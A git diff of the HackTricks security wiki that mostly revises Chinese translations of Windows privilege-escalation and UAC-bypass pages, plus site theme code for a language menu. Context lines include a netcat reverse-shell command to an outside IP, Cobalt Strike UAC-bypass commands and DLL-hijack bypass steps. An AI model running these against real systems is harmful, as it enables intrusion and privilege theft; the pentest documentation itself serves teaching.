 {{#include ../../banners/hacktricks-training.md}}
 
-> [!WARNING] > **JuicyPotato 在 Windows Server 2019 和 Windows 10 build 1809 及之后的版本上无法工作**。然而， [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** 可以用来 **利用相同的权限并获得 `NT AUTHORITY\SYSTEM`\*\* 级别的访问权限**。这篇 [博客文章](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) 深入探讨了 `PrintSpoofer` 工具，该工具可用于在 JuicyPotato 无法工作的 Windows 10 和 Server 2019 主机上滥用模拟权限。
+> [!WARNING] > **JuicyPotato在** Windows Server 2019 和 Windows 10 build 1809 及之后的版本上**不工作**。然而， [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)**可以用来**利用相同的权限并获得 `NT AUTHORITY\SYSTEM`\*\* 级别的访问权限。此 [博客文章](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) 深入探讨了 `PrintSpoofer` 工具，该工具可用于在 JuicyPotato 不再有效的 Windows 10 和 Server 2019 主机上滥用模拟权限。
 
 ## 快速演示
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md b/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
index 223b53314..e7adae4ed 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
@@ -1,7 +1,7 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 以下代码**利用SeDebug和SeImpersonate权限**从一个**以SYSTEM身份运行的进程**中复制令牌，并且该进程具有**所有令牌权限**。\
-在这种情况下，这段代码可以编译并用作**Windows服务二进制文件**以检查其是否正常工作。\
+在这种情况下，这段代码可以编译并用作**Windows服务二进制文件**来检查其是否正常工作。\
 然而，**提升发生的主要代码部分**在**`Exploit`** **函数**内部。\
 在该函数内部，您可以看到**正在搜索进程**_**lsass.exe**_**，然后**复制其**令牌**，最后使用该令牌生成一个新的_**cmd.exe**_，并拥有复制令牌的所有权限。
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md b/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
index 246f53e6e..e72694b02 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
@@ -154,7 +154,7 @@ return 0;
 [-] CreateProcessWithTokenW Error: 1326
 ```
 这意味着即使您在高完整性级别运行，**您也没有足够的权限**。\
-让我们使用 **processes explorer**（或者您也可以使用 process hacker）检查当前对 `svchost.exe` 进程的管理员权限：
+让我们检查当前管理员对 `svchost.exe` 进程的权限，使用 **processes explorer**（或者您也可以使用 process hacker）：
 
 1. 选择一个 `svchost.exe` 进程
 2. 右键点击 --> 属性
diff --git a/src/windows-hardening/windows-security-controls/uac-user-account-control.md b/src/windows-hardening/windows-security-controls/uac-user-account-control.md
index 987619ae7..38c61da9b 100644
--- a/src/windows-hardening/windows-security-controls/uac-user-account-control.md
+++ b/src/windows-hardening/windows-security-controls/uac-user-account-control.md
@@ -12,11 +12,11 @@
 ../windows-local-privilege-escalation/integrity-levels.md
 {{#endref}}
 
-当 UAC 生效时，管理员用户会获得 2 个令牌：一个标准用户密钥，用于以常规级别执行常规操作，以及一个具有管理员权限的密钥。
+当 UAC 生效时，管理员用户会获得 2 个令牌：一个标准用户密钥，用于以常规级别执行常规操作，另一个则具有管理员权限。
 
-此 [页面](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 深入讨论了 UAC 的工作原理，包括登录过程、用户体验和 UAC 架构。管理员可以使用安全策略在本地级别（使用 secpol.msc）配置 UAC 的工作方式，或通过组策略对象 (GPO) 在 Active Directory 域环境中配置并推送。各种设置在 [这里](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) 详细讨论。可以为 UAC 设置 10 个组策略设置。以下表格提供了更多详细信息：
+此[页面](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works)详细讨论了 UAC 的工作原理，包括登录过程、用户体验和 UAC 架构。管理员可以使用安全策略在本地级别（使用 secpol.msc）配置 UAC 的工作方式，或通过组策略对象 (GPO) 在 Active Directory 域环境中配置并推送。各种设置在[这里](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings)详细讨论。可以为 UAC 设置 10 个组策略设置。以下表格提供了更多详细信息：
 
-| 组策略设置                                                                                                                                                                                                                                                                                                                                                           | 注册表键                | 默认设置                                              |
+| 组策略设置                                                                                                                                                                                                                                                                                                                                                           | 注册表项                | 默认设置                                              |
 | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
 | [用户帐户控制：内置管理员帐户的管理员批准模式](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account)                                                     | FilterAdministratorToken    | 禁用                                                     |
 | [用户帐户控制：允许 UIAccess 应用程序在不使用安全桌面的情况下提示提升](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle      | 禁用                                                     |
@@ -48,7 +48,7 @@ EnableLUA    REG_DWORD    0x1
 ```
 如果是 **`1`**，则 UAC **已激活**；如果是 **`0`** 或 **不存在**，则 UAC **未激活**。
 
-然后，检查 **配置的级别**：
+然后，检查 **配置了哪个级别**：
 ```
 REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
 
@@ -56,7 +56,7 @@ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 ConsentPromptBehaviorAdmin    REG_DWORD    0x5
 ```
 - 如果 **`0`**，则 UAC 不会提示（如 **禁用**）
-- 如果 **`1`**，管理员会被 **要求输入用户名和密码** 以高权限执行二进制文件（在安全桌面上）
+- 如果 **`1`**，则管理员会被 **要求输入用户名和密码** 以高权限执行二进制文件（在安全桌面上）
 - 如果 **`2`**（**始终通知我**），UAC 将始终在管理员尝试以高权限执行某些操作时要求确认（在安全桌面上）
 - 如果 **`3`**，类似于 `1`，但不一定在安全桌面上
 - 如果 **`4`**，类似于 `2`，但不一定在安全桌面上
@@ -66,16 +66,16 @@ ConsentPromptBehaviorAdmin    REG_DWORD    0x5
 如果值为 **`0`**，则只有 **RID 500** 用户（**内置管理员**）能够在没有 UAC 的情况下执行 **管理员任务**，如果为 `1`，则 **“Administrators”** 组中的所有帐户都可以执行这些任务。
 
 最后，查看 **`FilterAdministratorToken`** 键的值\
-如果 **`0`**（默认），则 **内置管理员帐户可以** 执行远程管理任务；如果 **`1`**，则内置管理员帐户 **无法** 执行远程管理任务，除非 `LocalAccountTokenFilterPolicy` 设置为 `1`。
+如果 **`0`**（默认），则 **内置管理员帐户可以** 执行远程管理任务，如果 **`1`**，则内置管理员帐户 **不能** 执行远程管理任务，除非 `LocalAccountTokenFilterPolicy` 设置为 `1`。
 
-#### 总结
+#### 摘要
 
 - 如果 `EnableLUA=0` 或 **不存在**，**对任何人都没有 UAC**
 - 如果 `EnableLua=1` 且 **`LocalAccountTokenFilterPolicy=1`，对任何人都没有 UAC**
 - 如果 `EnableLua=1` 且 **`LocalAccountTokenFilterPolicy=0` 且 `FilterAdministratorToken=0`，对 RID 500（内置管理员）没有 UAC**
 - 如果 `EnableLua=1` 且 **`LocalAccountTokenFilterPolicy=0` 且 `FilterAdministratorToken=1`，对所有人都有 UAC**
 
-所有这些信息可以使用 **metasploit** 模块收集：`post/windows/gather/win_privs`
+所有这些信息可以通过 **metasploit** 模块收集：`post/windows/gather/win_privs`
 
 您还可以检查用户的组并获取完整性级别：
 ```
@@ -87,7 +87,7 @@ whoami /groups | findstr Level
 > [!NOTE]
 > 请注意，如果您可以图形访问受害者，UAC 绕过是直接的，因为您可以在 UAS 提示出现时简单地点击“是”
 
-在以下情况下需要 UAC 绕过：**UAC 已激活，您的进程在中等完整性上下文中运行，并且您的用户属于管理员组**。
+UAC 绕过在以下情况下是必要的：**UAC 已激活，您的进程在中等完整性上下文中运行，并且您的用户属于管理员组**。
 
 重要的是要提到，如果 UAC 处于最高安全级别（始终），则**绕过 UAC 要比在其他任何级别（默认）下要困难得多**。
 
@@ -106,7 +106,7 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
 
 ### **非常** 基本的 UAC "绕过"（完全文件系统访问）
 
-如果你有一个属于管理员组的用户的 shell，你可以 **通过 SMB 挂载 C$** 共享到一个新的磁盘上，这样你将 **访问文件系统中的所有内容**（甚至是管理员的主文件夹）。
+如果你有一个属于管理员组的用户的 shell，你可以通过 SMB（文件系统）在新的磁盘上**挂载 C$** 共享，这样你将**访问到文件系统中的所有内容**（甚至是管理员的主文件夹）。
 
 > [!WARNING]
 > **看起来这个技巧不再有效**
@@ -117,9 +117,9 @@ cd C$
 #Or you could just access it:
 dir \\127.0.0.1\c$\Users\Administrator\Desktop
 ```
-### UAC 绕过与 Cobalt Strike
+### UAC绕过与Cobalt Strike
 
-Cobalt Strike 技术仅在 UAC 未设置为最高安全级别时有效。
+Cobalt Strike技术仅在UAC未设置为最高安全级别时有效。
 ```bash
 # UAC bypass via token duplication
 elevate uac-token-duplication [listener_name]
@@ -150,41 +150,41 @@ Major  Minor  Build  Revision
 -----  -----  -----  --------
 10     0      14393  0
 ```
-也可以使用[这个](https://en.wikipedia.org/wiki/Windows_10_version_history)页面从构建版本中获取Windows版本`1607`。
+也可以使用 [this](https://en.wikipedia.org/wiki/Windows_10_version_history) 页面从构建版本中获取 Windows 版本 `1607`。
 
-#### 更多UAC绕过
+#### 更多 UAC 绕过
 
-**所有**用于绕过AUC的技术**需要**与受害者建立**完全交互的shell**（普通的nc.exe shell不够）。
+**所有**在这里使用的绕过 AUC 的技术 **都需要**与受害者的 **完整交互式 shell**（普通的 nc.exe shell 不够）。
 
-您可以使用**meterpreter**会话获取。迁移到**Session**值等于**1**的**进程**：
+您可以使用 **meterpreter** 会话获取。迁移到 **Session** 值等于 **1** 的 **进程**：
 
 ![](<../../images/image (96).png>)
 
-（_explorer.exe_ 应该可以工作）
+(_explorer.exe_ 应该可以工作)
 
-### 带GUI的UAC绕过
+### 带 GUI 的 UAC 绕过
 
-如果您可以访问**GUI，您只需在出现UAC提示时接受它**，您实际上不需要绕过它。因此，获取对GUI的访问将允许您绕过UAC。
+如果您可以访问 **GUI，您只需在出现 UAC 提示时接受它**，您实际上不需要绕过它。因此，获取对 GUI 的访问将允许您绕过 UAC。
 
-此外，如果您获得了某人正在使用的GUI会话（可能通过RDP），则有**一些工具将以管理员身份运行**，您可以**直接以管理员身份运行**例如**cmd**，而无需再次被UAC提示，如[**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)。这可能会更加**隐蔽**。
+此外，如果您获得了某人正在使用的 GUI 会话（可能通过 RDP），则有 **一些工具将以管理员身份运行**，您可以 **直接以管理员身份运行** 例如 **cmd**，而无需再次被 UAC 提示，如 [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)。这可能会更 **隐蔽**。
 
-### 嘈杂的暴力破解UAC绕过
+### 嘈杂的暴力破解 UAC 绕过
 
-如果您不在乎嘈杂，您可以始终**运行类似**[**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin)的工具，该工具**请求提升权限，直到用户接受它**。
+如果您不在乎嘈杂，您可以始终 **运行类似** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) 的工具，该工具 **请求提升权限，直到用户接受它**。
 
-### 您自己的绕过 - 基本UAC绕过方法
+### 您自己的绕过 - 基本 UAC 绕过方法
 
-如果您查看**UACME**，您会注意到**大多数UAC绕过利用了Dll劫持漏洞**（主要是在_C:\Windows\System32_中写入恶意dll）。[阅读此内容以了解如何找到Dll劫持漏洞](../windows-local-privilege-escalation/dll-hijacking.md)。
+如果您查看 **UACME**，您会注意到 **大多数 UAC 绕过利用 Dll Hijacking 漏洞**（主要是在 _C:\Windows\System32_ 中写入恶意 dll）。 [阅读此内容以了解如何找到 Dll Hijacking 漏洞](../windows-local-privilege-escalation/dll-hijacking.md)。
 
-1. 找到一个将**自动提升**的二进制文件（检查它执行时是否以高完整性级别运行）。
-2. 使用procmon查找可能受到**DLL劫持**影响的“**NAME NOT FOUND**”事件。
-3. 您可能需要在某些**受保护路径**（如C:\Windows\System32）中**写入**DLL，而您没有写入权限。您可以使用以下方法绕过此限制：
-   1. **wusa.exe**：Windows 7、8和8.1。它允许在受保护路径中提取CAB文件的内容（因为此工具是以高完整性级别执行的）。
+1. 找到一个会 **自动提升** 的二进制文件（检查它执行时是否以高完整性级别运行）。
+2. 使用 procmon 查找可能受到 **DLL Hijacking** 影响的 "**NAME NOT FOUND**" 事件。
+3. 您可能需要在某些 **受保护路径**（如 C:\Windows\System32）中 **写入** DLL，而您没有写入权限。您可以使用以下方法绕过此限制：
+   1. **wusa.exe**：Windows 7、8 和 8.1。它允许在受保护路径中提取 CAB 文件的内容（因为此工具是以高完整性级别执行的）。
    2. **IFileOperation**：Windows 10。
-4. 准备一个**脚本**，将您的DLL复制到受保护路径中并执行易受攻击的自动提升二进制文件。
+4. 准备一个 **脚本** 将您的 DLL 复制到受保护路径并执行易受攻击的自动提升二进制文件。
 
-### 另一种UAC绕过技术
+### 另一种 UAC 绕过技术
 
-该技术是观察一个**自动提升的二进制文件**是否尝试从**注册表**中**读取**要**执行**的**二进制文件**或**命令**的**名称/路径**（如果该二进制文件在**HKCU**中搜索此信息，则更有趣）。
+该技术是观察一个 **自动提升的二进制文件** 是否尝试 **从注册表** 中 **读取** 要 **执行** 的 **二进制文件** 或 **命令** 的 **名称/路径**（如果二进制文件在 **HKCU** 中搜索此信息，则更有趣）。
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/theme/book.js b/theme/book.js
index 1c8d77287..ccba50404 100644
--- a/theme/book.js
+++ b/theme/book.js
@@ -590,6 +590,61 @@ function playground_text(playground, hidden = true) {
     });
 })();
 
+
+(function menubarLanguage() {
+    var menubarLanguageToggleButton = document.getElementById('menubar-languages-toggle');
+    var menubarLanguagePopup = document.getElementById('menubar-languages-popup');
+    var languageButtons = menubarLanguagePopup.querySelectorAll('.menu-bar-link');
+
+    function showLanguage() {
+        menubarLanguagePopup.style.display = 'flex';
+        menubarLanguageToggleButton.setAttribute('aria-expanded', true);
+    }
+
+    function hideLanguage() {
+        menubarLanguagePopup.style.display = 'none';
+        menubarLanguageToggleButton.setAttribute('aria-expanded', false);
+        menubarLanguageToggleButton.focus();
+    }
+
+    menubarLanguageToggleButton.addEventListener('click', function () {
+        if (menubarLanguagePopup.style.display === 'flex') {
+            hideLanguage();
+        } else {
+            showLanguage();
+        }
+    });
+
+    menubarLanguagePopup.addEventListener('focusout', function(e) {
+        // e.relatedTarget is null in Safari and Firefox on macOS (see workaround below)
+        if (!!e.relatedTarget && !menubarLanguageToggleButton.contains(e.relatedTarget) && !menubarLanguagePopup.contains(e.relatedTarget)) {
+            hideLanguage();
+        }
+    });
+
+    // Should not be needed, but it works around an issue on macOS & iOS: https://github.com/rust-lang/mdBook/issues/628
+    document.addEventListener('click', function(e) {
+        if (menubarLanguagePopup.style.display === 'block' && !menubarLanguageToggleButton.contains(e.target) && !menubarLanguagePopup.contains(e.target)) {
+            hideLanguage();
+        }
+    });
+    
+    languageButtons.forEach((btn) => {
+        btn.addEventListener('click', function(e) {
+            const regex = /(?:(?:\/)+(?<lang>[a-z]{2}(?=\/|$)))?(?<path>(?:\/)*.*)?/g
+            var match = regex.exec(window.location.pathname)
+          
+            var path = match.groups.path
+            console.log(`Path: ${path} ${typeof path}`)
+          
+            const lang = match.groups.lang
+            console.log(`Lang: ${lang}`)
+            
+            window.location = `/${e.target.id}${path}${window.location.hash}`
+        });
+    })
+})();
+
 (function chapterNavigation() {
     document.addEventListener('keydown', function (e) {
         if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey) { return; }
diff --git a/theme/css/chrome.css b/theme/css/chrome.css
index 8cbda7c69..ead7ee881 100644
--- a/theme/css/chrome.css
+++ b/theme/css/chrome.css
@@ -83,6 +83,13 @@ body.sidebar-visible #menu-bar {
     }
 }
 
+.right-buttons .icons {
+    display: flex;
+    flex-direction: row;
+    flex-wrap: wrap;
+    column-gap: 0.5rem;
+}
+
 .icon-button {
     border: none;
     background: var(--bg);
@@ -139,10 +146,13 @@ body.sidebar-visible #menu-bar {
 
 /* Collapse Menu Popup */
 
+#menubar-collapse-toggle {
+    position: relative;
+}
 #menubar-collapse-popup {
     position: absolute;
-    right: 30px;
-    top: var(--menu-bar-height);
+    right: 0px;
+    top: 35px;
     z-index: 105;
     border-radius: 5px;
     font-size: 14px;
@@ -172,6 +182,44 @@ body.sidebar-visible #menu-bar {
     background-color: var(--theme-hover);
 }
 
+/* Languages Menu Popup */
+#menubar-languages-toggle {
+    position: relative;
+}
+
+#menubar-languages-popup {
+    position: absolute;
+    right: 0px;
+    top: 35px;
+    z-index: 105;
+    border-radius: 5px;
+    font-size: 14px;
+    color: var(--fg);
+    background: var(--bg);
+    border: 1px solid var(--table-border-color);
+    margin: 0;
+    padding: 0px;
+    display: none;
+    flex-direction: column;
+    max-height: 300px;
+    width: 150px;
+    overflow: scroll;
+}
+#menubar-languages-popup .menu-bar-link {
+    border: 0;
+    margin: 0;
+    padding: 8px 20px;
+    line-height: 25px;
+    white-space: nowrap;
+    text-align: start;
+    cursor: pointer;
+    color: inherit;
+    background: inherit;
+    font-size: inherit;
+}
+#menubar-languages-popup .menu-bar-link:hover {
+    background-color: var(--theme-hover);
+}
 
 .left-buttons {
     display: flex;
diff --git a/theme/index.hbs b/theme/index.hbs
index ecd2565f4..95c964391 100644
--- a/theme/index.hbs
+++ b/theme/index.hbs
@@ -144,34 +144,60 @@
 
                         <div class="right-buttons">
                             <div id="menubar-collapse">
-                            <a class="menu-bar-link" href="https://training.hacktricks.xyz" target="_blank">
-                                Hacktricks Training
-                            </a>
-                            <a class="menu-bar-link" href="https://twitter.com/hacktricks_live" target="_blank">
-                                Twitter
-                            </a>
-                            <a class="menu-bar-link" href="https://www.linkedin.com/company/hacktricks" target="_blank">
-                                Linkedin
-                            </a>
-                            <a class="menu-bar-link" href="https://github.com/sponsors/carlospolop" target="_blank">
-                                Sponsor
-                            </a>
-                            </div>
-                            <button id="menubar-collapse-toggle" class="icon-button" type="button" title="Toggle menu bar" aria-label="Toggle Menu bar" aria-expanded="false" aria-controls="collapse">
-                                <i class="fa fa-ellipsis-h"></i>
-                            </button>
-                            <div id="menubar-collapse-popup" class="menubar-collapse-popup" aria-label="Menu" role="menu">
-                                <a href="https://training.hacktricks.xyz" target="_blank" role="menuitem" class="menu-bar-link">Hacktricks Training</a>
-                                <a href="https://twitter.com/hacktricks_live" target="_blank" role="menuitem" class="menu-bar-link">Twitter</a>
-                                <a href="https://www.linkedin.com/company/hacktricks" target="_blank" role="menuitem" class="menu-bar-link">Linkedin</a>
-                                <a href="https://github.com/sponsors/carlospolop" target="_blank" role="menuitem" class="menu-bar-link">Sponsor</a>
+                                <a class="menu-bar-link" href="https://training.hacktricks.xyz" target="_blank">
+                                    Hacktricks Training
+                                </a>
+                                <a class="menu-bar-link" href="https://twitter.com/hacktricks_live" target="_blank">
+                                    Twitter
+                                </a>
+                                <a class="menu-bar-link" href="https://www.linkedin.com/company/hacktricks" target="_blank">
+                                    Linkedin
+                                </a>
+                                <a class="menu-bar-link" href="https://github.com/sponsors/carlospolop" target="_blank">
+                                    Sponsor
+                                </a>
                             </div>
+                            <div class="icons">
+                                <div id="menubar-collapse-toggle" class="icon-button" type="button" title="Toggle menu bar" aria-label="Toggle Menu bar" aria-expanded="false" aria-controls="collapse">
+                                    <i class="fa fa-ellipsis-h"></i>
+                                    <div id="menubar-collapse-popup" class="menubar-collapse-popup" aria-label="Menu" role="menu">
+                                        <a href="https://training.hacktricks.xyz" target="_blank" role="menuitem" class="menu-bar-link">Hacktricks Training</a>
+                                        <a href="https://twitter.com/hacktricks_live" target="_blank" role="menuitem" class="menu-bar-link">Twitter</a>
+                                        <a href="https://www.linkedin.com/company/hacktricks" target="_blank" role="menuitem" class="menu-bar-link">Linkedin</a>
+                                        <a href="https://github.com/sponsors/carlospolop" target="_blank" role="menuitem" class="menu-bar-link">Sponsor</a>
+                                    </div>
+                                </div>
 
-                            {{#if search_enabled}}
-                            <button id="search-toggle" class="icon-button" type="button" title="Search. (Shortkey: s)" aria-label="Toggle Searchbar" aria-expanded="false" aria-keyshortcuts="S" aria-controls="searchbar">
-                                <i class="fa fa-search"></i>
-                            </button>
-                            {{/if}}
+                                {{#if search_enabled}}
+                                <button id="search-toggle" class="icon-button" type="button" title="Search. (Shortkey: s)" aria-label="Toggle Searchbar" aria-expanded="false" aria-keyshortcuts="S" aria-controls="searchbar">
+                                    <i class="fa fa-search"></i>
+                                </button>
+                                {{/if}}
+
+                                <div id="menubar-languages-toggle" class="icon-button" type="button" title="Translations" aria-label="Toggle Tanslations" aria-expanded="false" aria-controls="translations">
+                                    <i class="fa fa-globe"></i>
+                                    
+                                    <div id="menubar-languages-popup" class="menubar-languages-popup" aria-label="Language menu" role="language menu">
+                                        <button id="en" role="menuitem" class="menu-bar-link">English</button>
+                                        <button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
+                                        <button id="fr" role="menuitem" class="menu-bar-link">French</button>
+                                        <button id="de" role="menuitem" class="menu-bar-link">German</button>
+                                        <button id="el" role="menuitem" class="menu-bar-link">Greek</button>
+                                        <button id="hi" role="menuitem" class="menu-bar-link">Hindi</button>
+                                        <button id="it" role="menuitem" class="menu-bar-link">Italian</button>
+                                        <button id="ja" role="menuitem" class="menu-bar-link">Japanese</button>
+                                        <button id="ko" role="menuitem" class="menu-bar-link">Korean</button>
+                                        <button id="pl" role="menuitem" class="menu-bar-link">Polish</button>
+                                        <button id="pt" role="menuitem" class="menu-bar-link">Portuguese</button>
+                                        <button id="sr" role="menuitem" class="menu-bar-link">Serbian</button>
+                                        <button id="sw" role="menuitem" class="menu-bar-link">Swahili</button>
+                                        <button id="tr" role="menuitem" class="menu-bar-link">Turkish</button>
+                                        <button id="uk" role="menuitem" class="menu-bar-link">Ukrainian</button>
+                                        <button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
+                                        <button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
+                                    </div>
+                                </div>
+                            </div>
 
                             {{#if print_enable}}
                             <a href="{{ path_to_root }}print.html" title="Print this book" aria-label="Print this book">
diff --git a/theme/sponsor.js b/theme/sponsor.js
index 65f157364..5b3f66804 100644
--- a/theme/sponsor.js
+++ b/theme/sponsor.js
@@ -19,13 +19,11 @@
     try {
       const response = await fetch(url, { method: "GET" })
       if (!response.ok) {
-        console.log(response)
         throw new Error(`Response status: ${response.status}`)
       }
 
       const json = await response.json()
       var sponsor = json.sponsor
-      console.log("boop", sponsor)
       sponsorImg.src = sponsor.image_url
       sponsorTitle.textContent = sponsor.name
       sponsorDescription.innerHTML = sponsor.description